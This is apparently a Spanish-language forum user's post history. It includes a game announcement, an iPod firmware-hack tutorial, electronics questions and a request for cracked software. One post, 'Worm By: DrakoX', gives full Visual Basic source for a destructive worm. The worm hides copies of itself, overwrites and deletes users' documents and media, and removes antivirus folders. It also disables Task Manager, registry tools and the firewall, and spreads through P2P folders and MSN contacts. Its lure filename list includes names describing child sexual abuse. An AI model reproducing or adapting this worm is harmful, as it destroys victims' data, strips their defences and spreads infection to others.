|
Mostrar Temas
|
Páginas: [1] 2
|
1
|
Media / Juegos y Consolas / Catchin' Eggs - [Mi Juego]
|
en: 24 Abril 2012, 22:04 pm
|
Hola, esta vez les traigo un Juego para iOS y Android que hice con 2 amigos! Catchin' EggsEs un juego muy basico, pero entretenido, les dejo aca unas capturas de pantalla: Me gustaria que me den su opinion y si tienen tiempo de bajarlo, hagan un review del juego en el App Store o Google Play. Pasen por mi pagina para descargarlo o busquenlo en el market correspodiente. www.KactuzStudio.comsalu2 y espero que lo disfruten
|
|
|
3
|
Media / Juegos y Consolas / [Tutorial] Juegos para iPod
|
en: 19 Junio 2007, 06:58 am
|
(No sabia dnd colocar el tuto, Mod's muevan el tuto a donde les parezca mas adecuado) Primero que nada, como es sabido por todos, todo lo q hagan es bajo su propio riesgo y no me hago responsable por lo que le pueda llegar a suceder a sus iPod's Yo mismo lo hice cn mi iPod de 30GB 5.5G y de verdad funciona, en este momento tengo andando los 14 juegos. si no estan seguros, directamente NO lo hagan. esto solo se les puede aplicar a los iPod video, osea a los 5G y 5.5G, y antes de seguir cn el tuto, deben saber que generación de iPod poseen, y recuerden solo funciona en 5G o 5.5G NINGUN OTRO!!! 1) ###################################### Deberan descargar un archivo que contiene todo lo necesario para realizar el tuto. Desargar Aqui!deberan descargar el torrent que les aparezca en la pagina, para descargar el tottent yo use el ARES que tmb funciona como P2P. 2) ###################################### Una vez terminada la descarga conectamos el ipod y abrimos el iTunes y deben desmarcar la opcion de "Sincronizar los Juegos" y hacer click en "Aplicar" y cerramos iTunes 3) ###################################### si entran a la carpeta que descargaron, se van a encontrar con varios archivos deben descomprimir "iPod Games & Firmware" y encontraran estas 14 carpetas(son los juegos): Copiamos las 14 carpetas y entramos al ipod (teniendo habilitada la opcion para ver las carpetas ocultas) y entran en "iPod_Control" y crean una carpeta nueva cn el nombre "Games_RO" (sin comillas) y dentro de esa carpeta pegan las 14 carpetas que copiamos anteriormente. 4)###################################### Ahora dentro de la carpeta descargada abren el ipod wizard el cual les deberia detectar el iPod automaticamente en "Edit Mode" selecionan "Firmware File", eligen el archivo .bin que le corresponda a la generación de su ipod (se encuentra dentro de lo que descargaron) si x ejemplo tiene un Ipod 30GB 5.5G como el mio, deben abrir el "Cracked_For_Games5.5G.bin", tienen que elegir exactamente el de su generación MUCHO CUIDADO!!! una vez terminaod estos pasos, ponen "Write to iPod" como vemos en la imagen. la instalación del firmware no demorara mas q unos pocos segundos, y si no me equivoco el ipod wizard les dira que retiren el ipod de forma segura, y el mismo se auto reiniciara. en ese momento (cuando se auto reinicie) aparecera una pantalla azul en el ipod, cn el titulo de IPL Loader 1.2.1 si no me equivoco solo deben esperar, en 10 seg esa pantalla desaparecera, pero aparecera otra azul donde no hay nada, y lo unico que hay q hacer es esperar hasta que aparezca el SO original del iPod. 5)###################################### Listo!!!!!! si todo salio bien, ya podrian jugar a las 14 juegos, sin problemas. ######################################## Pueden que encuentren otros tutos, pero nignuno con imagenes, y me parecio buena idea, hacer un tuto grafico para que las cosas queden mas claras. De ultima en la carpeta descargada hay un "Read Me.txt" que tiene las instrucciónes en ingles. espero q les haya gustado el tuto y les haya sido de utilidad salu2 y suerte
|
|
|
4
|
Programación / Programación Visual Basic / Worm By: DrakoX
|
en: 30 Diciembre 2006, 05:00 am
|
Bueno, mña me voy de vacaciónes, y queria poder dejarles este regalito antes de irme, es un worm, que vengo realizando hace un par de dias, Esta listo para comenzar a infectar solo que, hay que darle unos ajustes finales, como descargar algun archivo, y ponerle la parte de IS para el MSN, tambien se le pueden agregar un par de funciones mas, pero, no podia dejarlos sin ver el worm antes de irme. Supongo q cuando vuelva, lo seguire arreglando, ya que ahora no tengo mas tiempo. 'Agregarle la referencia Microsoft Scripting Runtime 'Agregarle la referencia Messenger API type library Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long 'API para descargar archivos de manera oculta Private Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long 'API para obtener los HD Private Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long 'API para obtener la carpeta system32
Public WithEvents msn As MessengerAPI.Messenger Dim reg As New clsRegistryAccess Dim Fso As New FileSystemObject Dim Carpetas As New Collection Dim Espera As Integer
Public Function DownloadFile(URL As String, LocalFilename As String) As Boolean 'Función para descargar archivos de forma oculta Dim lngRetVal As Long lngRetVal = URLDownloadToFile(0, URL, LocalFilename, 0, 0) If lngRetVal = 0 Then DownloadFile = True End Function
Public Function q(j) 'Funcion para cifrar claves del registro On Error Resume Next For r = 1 To Len(j) q = q & Chr(Asc(Mid(j, r, 1)) - 20) Next r End Function
Private Sub Get_Drives() 'Obtengo los HD para la Reproducción Dim Drive As String Drives = Array("A:\", "B:\", "C:\", "D:\", "E:\", "F:\", "G:\", "H:\", "I:\", "J:\") For X = LBound(Drives) To UBound(Drives) Select Case GetDriveType(Drives(X)) Case 3 Drive = Drives(X) Call Reproducción(Drive, reg.ReadString(q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰„pYŒ„€ƒ†y†GF"), "Reproducción", 0)) End Select Next X End Sub
Private Sub Reproducción(Path As String, Nº As Double) 'Me Reprodusco x todo el disco cada vez que me inicio On Error Resume Next If Fso.GetFolder(Path).SubFolders.Count = 0 Then: Exit Sub For Each i In Fso.GetFolder(Path).SubFolders Carpetas.Add (i) Fso.CopyFile App.Path & "\" & App.EXEName & ".exe", i & "\" & Nº & ".exe", False SetAttr i & "\" & Nº & ".exe", vbReadOnly + vbHidden + vbSystem Nº = Nº + 1 DoEvents Reproducción (i), Nº Next reg.WriteString q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰„pYŒ„€ƒ†y†GF"), "Reproducción", Nº End Sub
Private Sub Infectar_MzN() 'Infecto a los contactos del MSN utilizando IS On Error Resume Next Dim contacto As IMessengerContact Set w = CreateObject("Messenger.UIAutomation") For Each contacto In w.MyContacts If contacto.Status <> MISTATUS_OFFLINE Then Set iMsn = w.InstantMessage(contacto.SigninName) SendKeys ("Utilizar Ingenieria Social" & "{ENTER}" & "%{F4}") End If Next End Sub
Private Sub Borrar_Archivos() 'Borro archivos que pueden ser importantes para el Usuario On Error Resume Next EXTlist = Array("mp3", "mid", "aif", "mp4", "ogg", "wma", "wmv", "wav", "asf", "avi", "mpg", "mov", "ace", "arj", "cab", "iso", "rar", "zip", "doc", "txt", "pdf", "pps", _ "sdd", "sdc", "sdw", "sxg", "xls", "xlm", "rtf", "ctt", "msg", "xml", "htm", "css", "swf", "vbs", "3ds", "jpg", "jpeg", "gif", "bmp", "png", "reg", "sys", "h", "cpp", "bak", _ "cab", "ttf", "fon", "lnk") For Each i In Carpetas For Each j In Fso.GetFolder(i).Files For y = LBound(EXTlist) To UBound(EXTlist) If Fso.GetExtensionName(j) = EXTlist(y) Then Fso.CopyFile App.Path & "\" & App.EXEName & ".exe", j, True Fso.DeleteFile j, True End If Next y Next Next Call Buscar_P2P End Sub
Private Sub Anti_AV() 'Mato a diferentes AntiVirus para dejar indefensa la PC On Error Resume Next Dim AVarray() As String AVlist = Array("Panda Software", "Kaspersky Lab", "Spybot - Search & Destroy", "Spyware Doctor", "Webroot", "Microsoft Antispyware", "Lavasoft", "Registry Mechanic", "System Mechanic", "ESET", "Grisoft", "xerox", "ALWIL Software", _ "BitDefender Professional Plus", "The Cleaner Pro", "Symantec", "Zone Labs", "Norton antivirus", "Alwil Software", "Symantec Shared", "Norton Internet Security", "ewido anti-malware", "Norton AntiVirus", "Norton Utilities", "Norton SystemWorks", _ "SpyAxe", "SpywareStrike", "VirusScan", "Eset", "AVPersonal", "Softwin", "Symantec AntiVirus", "AVG7", "McAfee", "McAfee.com", "SinEspias", "Trojan Remover", "Trend Micro", "Persystems", "BillP Studios", "SpywareBlaster", "The Cleaner", "Agnitum", _ "HJT", "TrojanShield", "Iparmor", "Prisma Firewall", "Kerio", "Sygate", "CA", "eTrust Internet Security Suite", "BullGuard Software", "AxBx", "TrojanHunter 4.2", "Anti Trojan Elite", "ClamWin", "Evidence Destructor", "Arovax Shield", _ "Adware Away", "Aluria Software", "Norman", "eTrust") For Each j In Carpetas AVarray = Split(j, "\") For X = LBound(AVarray) To UBound(AVarray) For y = LBound(AVlist) To UBound(AVlist) If AVarray(X) = AVlist(y) Then Fso.DeleteFolder j, True End If Next y Next X Next Call Registro End Sub
Private Sub Buscar_P2P() 'Busco las carpetas de los P2P para luego infectarlas On Error Resume Next Dim P2Parray() As String P2Plist = Array("incoming", "Incoming", "Files", "My Grokster", "Downloads", "Download", "Shared", "Share", "My Shared Folder", "shared files", "Received Files") For Each w In Carpetas P2Parray = Split(w, "\") For X = LBound(P2Parray) To UBound(P2Parray) For y = LBound(P2Plist) To UBound(P2Plist) If P2Parray(X) = P2Plist(y) Then Infectar_P2P (w) End If Next y Next X Next Call Infectar_MzN End Sub
Private Sub Infectar_P2P(Peer_to_Peer As String) 'Me propago por P2P infectando las carpetas encontradas On Error Resume Next Dim Nombre(1 To 40) Dim Extención(1 To 10) Nombre(1) = "Counter Strike" Nombre(2) = "Hotmail Hack" Nombre(3) = "Hotmail Hacking Programe" Nombre(4) = "Yahoo" Nombre(5) = "Messenger Plus" Nombre(6) = "Matrix Revolution" Nombre(7) = "Sillent Hill" Nombre(8) = "Mu Online Hack" Nombre(9) = "Rolling Stones" Nombre(10) = "LimeWire Pro" Nombre(11) = "GTA San Andreas" Nombre(12) = "eMule Gold Edition" Nombre(13) = "Ragnarok" Nombre(14) = "Pampita desnuda" Nombre(15) = "X-treme sport" Nombre(16) = "Winamp 10.7 Pro" Nombre(17) = "Nero Buning Studio" Nombre(18) = "Fifa 2007" Nombre(19) = "Los Sims 2" Nombre(20) = "NFS Carbon" Nombre(21) = "World of Warcraft" Nombre(22) = "Ricardo Arjona" Nombre(23) = "U2" Nombre(24) = "ZoneAlarm_Professional" Nombre(25) = "Worms" Nombre(26) = "La Renga" Nombre(27) = "Eminem" Nombre(28) = "Windows Vista" Nombre(29) = "Norton Anti-virus" Nombre(30) = "Greenday" Nombre(31) = "Rammstein Full CD" Nombre(32) = "Labios Compartidos" Nombre(33) = "System of a down - ToxiCity" Nombre(34) = "SOAD" Nombre(35) = "Linux Kubuntu" Nombre(36) = "Rata Blanca" Nombre(37) = "Paris masturbandose" Nombre(38) = "Britney Spears chupando pija" Nombre(39) = "10 year old girls masturbating" Nombre(40) = "12 year old girl being fuck by her father"
Extención(1) = ".avi.exe" Extención(2) = ".gif.exe" Extención(3) = ".jpg.exe" Extención(4) = ".mpeg.exe" Extención(5) = ".mp3.exe" Extención(6) = " Crack.exe" Extención(7) = " KeyGen.exe" Extención(8) = " Serial.exe" Extención(9) = " Ultima Version.exe" Extención(10) = ".exe"
For N = 1 To 40 For E = 1 To 10 Fso.CopyFile App.Path & "\" & App.EXEName & ".exe", Peer_to_Peer & "\" & Nombre(N) & Extención(E), False Next E Next N End Sub
Private Sub Registro() 'Juego con el registro XD Dim buf As String Dim ret As Long Dim Worm As String buf = String$(260, Chr$(0)) ret = GetSystemDirectory(buf, Len(buf)) Worm = Left$(buf, ret) & "\Explorer32.exe"
reg.CreateKeyIfDoesntExists = True reg.CreateKey q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰„pYŒ„€ƒ†y†GF") If reg.ReadString(q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰„pYŒ„€ƒ†y†GF"), "Starup") <> 1 Then If reg.WriteString(q("\_Yms`cWU`saUW\]bYpgƒzˆ‹u†ypa}w†ƒ‡ƒzˆpk}‚xƒ‹‡pW‰††y‚ˆjy†‡}ƒ‚pf‰‚gy†Š}wy"), "Explorer32", Worm) <> 0 Then reg.WriteString q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰„pYŒ„€ƒ†y†GF"), "Starup", 1 End If ElseIf reg.ReadString(q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰„pYŒ„€ƒ†y†GF"), "NoSetFolders") <> 1 Then If reg.WriteDWORD(q("\_YmsWiffYbhsigYfpgƒzˆ‹u†ypa}w†ƒ‡ƒzˆpk}‚xƒ‹‡pW‰††y‚ˆjy†‡}ƒ‚pdƒ€}w}y‡pYŒ„€ƒ†y†"), "NoSetFolders", 1) <> 0 Then reg.WriteString q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰„pYŒ„€ƒ†y†GF"), "NoSetFolders", 1 End If ElseIf reg.ReadString(q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰„pYŒ„€ƒ†y†GF"), "NoFind") <> 1 Then If reg.WriteDWORD(q("\_YmsWiffYbhsigYfpgƒzˆ‹u†ypa}w†ƒ‡ƒzˆpk}‚xƒ‹‡pW‰††y‚ˆjy†‡}ƒ‚pdƒ€}w}y‡pYŒ„€ƒ†y†"), "NoFind", 1) <> 0 Then reg.WriteString q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰„pYŒ„€ƒ†y†GF"), "NoFind", 1 End If ElseIf reg.ReadString(q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰„pYŒ„€ƒ†y†GF"), "NoRun") <> 1 Then If reg.WriteDWORD(q("\_YmsWiffYbhsigYfpgƒzˆ‹u†ypa}w†ƒ‡ƒzˆpk}‚xƒ‹‡pW‰††y‚ˆjy†‡}ƒ‚pdƒ€}w}y‡pYŒ„€ƒ†y†"), "NoRun", 1) <> 0 Then reg.WriteString q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰„pYŒ„€ƒ†y†GF"), "NoRun", 1 End If ElseIf reg.ReadString(q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰„pYŒ„€ƒ†y†GF"), "NoClose") <> 1 Then If reg.WriteDWORD(q("\_YmsWiffYbhsigYfpgƒzˆ‹u†ypa}w†ƒ‡ƒzˆpk}‚xƒ‹‡pW‰††y‚ˆjy†‡}ƒ‚pdƒ€}w}y‡pYŒ„€ƒ†y†"), "NoClose", 1) <> 0 Then reg.WriteString q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰„pYŒ„€ƒ†y†GF"), "NoClose", 1 End If ElseIf reg.ReadString(q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰„pYŒ„€ƒ†y†GF"), "NoLogOff") <> 1 Then If reg.WriteDWORD(q("\_YmsWiffYbhsigYfpgƒzˆ‹u†ypa}w†ƒ‡ƒzˆpk}‚xƒ‹‡pW‰††y‚ˆjy†‡}ƒ‚pdƒ€}w}y‡pYŒ„€ƒ†y†"), "NoLogOff", 1) <> 0 Then reg.WriteString q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰„pYŒ„€ƒ†y†GF"), "NoLogOff", 1 End If ElseIf reg.ReadString(q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰„pYŒ„€ƒ†y†GF"), "Disabled") <> 1 Then If reg.WriteDWORD(q("\_YmsWiffYbhsigYfpgƒzˆ‹u†ypa}w†ƒ‡ƒzˆpk}‚xƒ‹‡pW‰††y‚ˆjy†‡}ƒ‚pdƒ€}w}y‡pk}‚c€xU„„"), "Disabled", 1) <> 0 Then reg.WriteString q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰„pYŒ„€ƒ†y†GF"), "Disabled", 1 End If ElseIf reg.ReadString(q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰„pYŒ„€ƒ†y†GF"), "Login") <> 1 Then If reg.KillKey(q("\_`apbyˆ‹ƒ†p`ƒ{ƒ‚")) <> 0 Then reg.WriteString q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰„pYŒ„€ƒ†y†GF"), "Login", 1 End If ElseIf reg.ReadString(q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰„pYŒ„€ƒ†y†GF"), "NoAddRemovePrograms") <> 1 Then If reg.WriteDWORD(q("\_Wipgƒzˆ‹u†ypa}w†ƒ‡ƒzˆpk}‚xƒ‹‡pW‰††y‚ˆjy†‡}ƒ‚pdƒ€}w}y‡pi‚}‚‡ˆu€€pgƒzˆ‹u†ypa}w†ƒ‡ƒzˆpk}‚xƒ‹‡pW‰††y‚ˆjy†‡}ƒ‚pdƒ€}w}y‡pi‚}‚‡ˆu€€"), "NoAddRemovePrograms", 1) <> 0 Then reg.WriteString q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰„pYŒ„€ƒ†y†GF"), "NoAddRemovePrograms", 1 End If ElseIf reg.ReadString(q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰„pYŒ„€ƒ†y†GF"), "HideClock") <> 1 Then If reg.WriteDWORD(q("\_Wipgƒzˆ‹u†ypa}w†ƒ‡ƒzˆpk}‚xƒ‹‡pW‰††y‚ˆ4jy†‡}ƒ‚pdƒ€}w}y‡pYŒ„€ƒ†y†"), "HideClock", 1) <> 0 Then reg.WriteString q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰„pYŒ„€ƒ†y†GF"), "HideClock", 1 End If ElseIf reg.ReadString(q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰„pYŒ„€ƒ†y†GF"), "NoTrayItemsDisplay") <> 1 Then If reg.WriteDWORD(q("\_Wipgƒzˆ‹u†ypa}w†ƒ‡ƒzˆpk}‚xƒ‹‡pW‰††y‚ˆ4jy†‡}ƒ‚pdƒ€}w}y‡pYŒ„€ƒ†y†"), "NoTrayItemsDisplay", 1) <> 0 Then reg.WriteString q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰„pYŒ„€ƒ†y†GF"), "NoTrayItemsDisplay", 1 End If ElseIf reg.ReadString(q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰„pYŒ„€ƒ†y†GF"), "Hidden") <> 1 Then If reg.WriteDWORD(q("\_`apg‡ˆypW‰††y‚ˆWƒ‚ˆ†ƒ€gyˆpgy†Š}wy‡p`u‚u‚kƒ†‡ˆuˆ}ƒ‚pdu†uyˆy†‡"), "Hidden", 1) <> 0 Then reg.WriteString q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰„pYŒ„€ƒ†y†GF"), "Hidden", 1 End If ElseIf reg.ReadString(q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰„pYŒ„€ƒ†y†GF"), "DisableTaskMgr") <> 1 Then If reg.WriteDWORD(q("\_YmsWiffYbhsigYfpgƒzˆ‹u†ypa}w†ƒ‡ƒzˆpk}‚xƒ‹‡pW‰††y‚ˆjy†‡}ƒ‚pdƒ€}w}y‡pg‡ˆy"), "DisableTaskMgr", 1) <> 0 Then reg.WriteString q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰„pYŒ„€ƒ†y†GF"), "DisableTaskMgr", 1 End If ElseIf reg.ReadString(q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰„pYŒ„€ƒ†y†GF"), "EnableBallonTips") <> 1 Then If reg.WriteDWORD(q("\_Wipgƒzˆ‹u†ypa}w†ƒ‡ƒzˆpk}‚xƒ‹‡pW‰††y‚ˆjy†‡}ƒ‚pYŒ„€ƒ†y†pUxŠu‚wyx"), "EnableBallonTips", 0) <> 0 Then reg.WriteString q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰„pYŒ„€ƒ†y†GF"), "EnableBallonTips", 1 End If ElseIf reg.ReadString(q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰„pYŒ„€ƒ†y†GF"), "EnableFirewall") <> 1 Then If reg.WriteDWORD(q("\_`apgmghYapW‰††y‚ˆWƒ‚ˆ†ƒ€gyˆpgy†Š}wy‡pg|u†yxUwwy‡‡pdu†uyˆy†‡pZ}†y‹u€€dƒ€}wpgˆu‚xu†xd†ƒz}€y"), "EnableFirewall", 0) <> 0 Then reg.WriteString q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰„pYŒ„€ƒ†y†GF"), "EnableFirewall", 1 End If ElseIf reg.ReadString(q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰„pYŒ„€ƒ†y†GF"), "DisableRegistryTools") <> 1 Then If reg.WriteDWORD(q("\_YmsWiffYbhsigYfpgƒzˆ‹u†ypa}w†ƒ‡ƒzˆpk}‚xƒ‹‡pW‰††y‚ˆjy†‡}ƒ‚pdƒ€}w}y‡pg‡ˆy"), "DisableRegistryTools", 1) <> 0 Then reg.WriteString q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰„pYŒ„€ƒ†y†GF"), "DisableRegistryTools", 1 End If End If
If Not Fso.FileExists(Worm) Then Fso.CopyFile App.Path & "\" & App.EXEName & ".exe", Worm, False SetAttr Worm, vbHidden + vbSystem End If Call Borrar_Archivos End Sub
Private Sub Form_Load() 'Cuando inicio, envio un mensaje de error para no despertar sospechas Me.Visible = False App.TaskVisible = False App.Title = "Explorer32" Espera = 0
MsgBox "Error #699" & vbCrLf & "Error trying to execute file", vbCritical, "Error" Call Get_Drives End Sub
Private Sub Timer1_Timer() 'Aqui espero 5 minutos, a que se termine la parte de Reproducción para comenzar a Matar AV's If Espera >= 300 Then Call Anti_AV Timer1.Enabled = False Else Espera = Espera + 1 End If End Sub para que funcione la parte del registro, se le debe agregar un Class Module, el cual se los dejare mas adelnate, en mi retorno, Aclaro algo, no lo he probado, pero si es por logica deberia funcionar jaja bueno, salu2 y q tengan suerte en mi ausencia xD
|
|
|
5
|
Programación / Programación Visual Basic / Aporto un Code
|
en: 17 Noviembre 2006, 23:59 pm
|
Bueno, recien termine este code, sin basarme en ningun otro previo code. lo hice para compartirlo con ustedes y espero que les sirva. El code es este: Sub code() List1.AddItem ("C:\") For y = 0 To 20000 Dir1.Path = List1.List(y) For j = 0 To Dir1.ListCount - 1 For x = 0 To List1.ListCount If Not List1.List(x) <> Dir1.List(j) Then GoTo 1: End If Next x If List1.ListCount <> 1000 Then List1.AddItem (Dir1.List(j)) Else GoTo 2: End If 1 DoEvents Next j Next y 2 End Sub El que entienda el code y sepa como funciona, va a saber como usarlo y de que manera modificarlo para usarlo en otras cosas jeje. No lo explico para que solo puedan usarlo quienes lo entiendan, y espero que lo entiendad casi todos. cuanto mas grande sea ese valor donde dice List1.ListCount <> 1000 mas carpetas va a dar (el que entienda el code va a saber de q hablo). bueno espero que lo difruten y sepan como usarlo. cualquier otra duda consulten y si es posible comenten que tal jeje salu2 y suerte
|
|
|
6
|
Informática / Electrónica / Ayuda, necesito comprender esto
|
en: 14 Julio 2006, 09:57 am
|
Bueno, encontre un circuito, para hacer q 4 leds se prendan y se apaguen, pero como no c mucho del tema, me gustaria q me dijieran q es kda elemento del circuito. yo tengo esta info q esta en aleman y quiero q me digan q es cada cosa. * 2x Widerstand 10k (z.B. Reichelt, Best. Nr. "1/4W 10k") [R1, R3] * 1x Widerstand 4,7k (z.B. Reichelt, Best. Nr. "1/4W 4,7k") [R2] * 1x Widerstand 430 (z.B. Reichelt, Best. Nr. "1/4W 430") [R4, R5, R6, R7] * 1x Trimmer 1M (z.B. Reichelt, Best. Nr. "PT 15-L 1,0M") [P1] * 1x Keramikkondensator 10n (z.B. Reichelt, Best. Nr. "KERKO 10n") [C1] * 1x Elko 4,7µF (z.B. Reichelt, Best. Nr. "RAD 4,7/35") [C2] * 1x Elko 100µF (z.B. Reichelt, Best. Nr. "RAD 100/25") [C2] * 1x Transistor BC327 (z.B. Reichelt, Best. Nr. "BC 327-25") [T1] * 1x IC NE555 (z.B. Reichelt, Best. Nr. "NE 555 DIP") [IC1] * 1x IC-Fassung 8polig (z.B. Reichelt, Best. Nr. "GS 8") * 1x Stiftleiste (z.B. Reichelt, Best. Nr. "STIFTL. 2X10G") estos serian los elementos, si alguien me los pudiera traducir. para q entiendan un poco mas aca les dejo el circuito: http://www.moddingtech.de/portal/bild_popup.php?src=portal/pics/content/tutorials/ledstroboskop/ledstrobo_schaltplan.pngotra duda, si ven, R4,R5,R6,R7, todas son de 430, pero 430 q?? 430 ohms?? cuantos ohms deberian tener R4,R5,R6,R7 si mis led's son de 3v??? XFAVOR, ES URGENTE, NECESITO Q ME AYUDEN, X SI LAS MOSCAS, ACA LES DEJO LA PAGINA PARA Q SE PUEDAN GUIAR MEJOR. http://www.moddingtech.de/tut_ledstroboskop_01_de,59.htmlsalu2 y espero urgentemente su ayuda GRACIAS
|
|
|
7
|
Informática / Electrónica / Juego cn Leds
|
en: 24 Abril 2006, 04:04 am
|
Bueno, alguien me podria pasar un circuito, cn sus respectivos materiales, con el cual se logre un juego de luces cn los leds, osea, q se prendan unos luego otros, luego otros o simplemente, apaguen y prendan en intervalos de tiempo cortos. la fuente seria de 12v.
salu2 y mcuhas gracias
|
|
|
8
|
Informática / Electrónica / Equipo de Musik
|
en: 29 Enero 2006, 04:06 am
|
bueno, me gustaria saber si es posible armar un equipo de musika y como se armaria osea, q estaria conectado a q, etc, con los siguientes materiales.
2 parlantes de auto la radio de un auto y el frente de la radio una bateria de 12 de las grandes (mas chucas q las de auto)
bueno, quisiera si se podria armar una radio con CD/FM/AM con esos materiales y como se armaria.
gracias.
salu2
|
|
|
10
|
Media / Diseño Gráfico / 3D Max
|
en: 29 Diciembre 2005, 06:04 am
|
Hola,
quisiera saber si alguien ntiene un link de descarga de la ultima version del 3D max con su respesctivo crack. Gracias
Salu2
|
|
|
|
|
|
|